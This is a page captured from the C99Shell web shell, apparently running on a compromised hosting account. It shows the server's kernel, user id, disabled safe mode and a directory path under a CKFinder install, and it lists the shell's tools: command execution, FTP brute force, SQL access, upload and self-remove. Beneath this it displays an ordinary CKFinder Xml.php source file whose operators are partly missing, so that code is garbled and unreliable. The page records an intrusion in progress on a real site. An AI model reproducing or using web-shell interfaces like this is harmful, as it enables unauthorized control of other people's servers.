!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/musvin.pp.ua/modules-alien/~ckeditor/ckfinder/core/connector/php/php5/Core/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Xml.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * CKFinder
 * ========
 * http://ckfinder.com
 * Copyright (C) 2007-2010, CKSource - Frederico Knabben. All rights reserved.
 *
 * The software, this file and its contents are subject to the CKFinder
 * License. Please read the license.txt file before using, installing, copying,
 * modifying or distribute this file or part of its contents. The contents of
 * this file is part of the Source Code of CKFinder.
 */

/**
 * @package CKFinder
 * @subpackage Core
 * @copyright CKSource - Frederico Knabben
 */

/**
 * Include basic Xml library
 */
require_once CKFINDER_CONNECTOR_LIB_DIR "/Utils/XmlNode.php";

/**
 * XML document
 *
 * @package CKFinder
 * @subpackage Core
 * @copyright CKSource - Frederico Knabben
 */
class CKFinder_Connector_Core_Xml
{
    
/**
     * Connector node (root)
     *
     * @var Ckfinder_Connector_Utils_XmlNode
     * @access private
     */
    
private $_connectorNode;
    
/**
     * Error node
     *
     * @var Ckfinder_Connector_Utils_XmlNode
     * @access private
     */
    
private $_errorNode;

    function 
__construct()
    {
        
$this->sendXmlHeaders();
        echo 
$this->getXMLDeclaration();
        
$this->_connectorNode = new Ckfinder_Connector_Utils_XmlNode("Connector");
        
$this->_errorNode = new Ckfinder_Connector_Utils_XmlNode("Error");
        
$this->_connectorNode->addChild($this->_errorNode);
    }

    
/**
     * Return connector node
     *
     * @return Ckfinder_Connector_Utils_XmlNode
     * @access public
     */
    
public function &getConnectorNode()
    {
        return 
$this->_connectorNode;
    }

    
/**
     * Return error node
     *
     * @return Ckfinder_Connector_Utils_XmlNode
     * @access public
     */
    
public function &getErrorNode()
    {
        return 
$this->_errorNode;
    }

    
/**
     * Send XML headers to the browser (and force browser not to use cache)
     * @access private
     */
    
private function sendXmlHeaders()
    {
        
// Prevent the browser from caching the result.
        // Date in the past
        
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT') ;
        
// always modified
        
header('Last-Modified: ' gmdate('D, d M Y H:i:s') . ' GMT') ;
        
// HTTP/1.1
        
header('Cache-Control: no-store, no-cache, must-revalidate') ;
        
header('Cache-Control: post-check=0, pre-check=0'false) ;
        
// HTTP/1.0
        
header('Pragma: no-cache') ;

        
// Set the response format.
        
header'Content-Type:text/xml; charset=utf-8' ) ;
    }

    
/**
     * Return XML declaration
     *
     * @access private
     * @return string
     */
    
private function getXMLDeclaration()
    {
        return 
'<?xml version="1.0" encoding="utf-8"?>';
    }

    
/**
     * Send error message to the browser. If error number is set to 1, $text (custom error message) will be displayed
     * Don't call this function directly
     *
     * @access public
     * @param int $number error number
     * @param string $text Custom error message (optional)
     */
    
public function raiseError$number$text false)
    {
        
$this->_errorNode->addAttribute("number"intval($number));
        if (
false!=$text) {
            
$this->_errorNode->addAttribute("text"$text);
        }

        echo 
$this->_connectorNode->asXML();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0339 ]--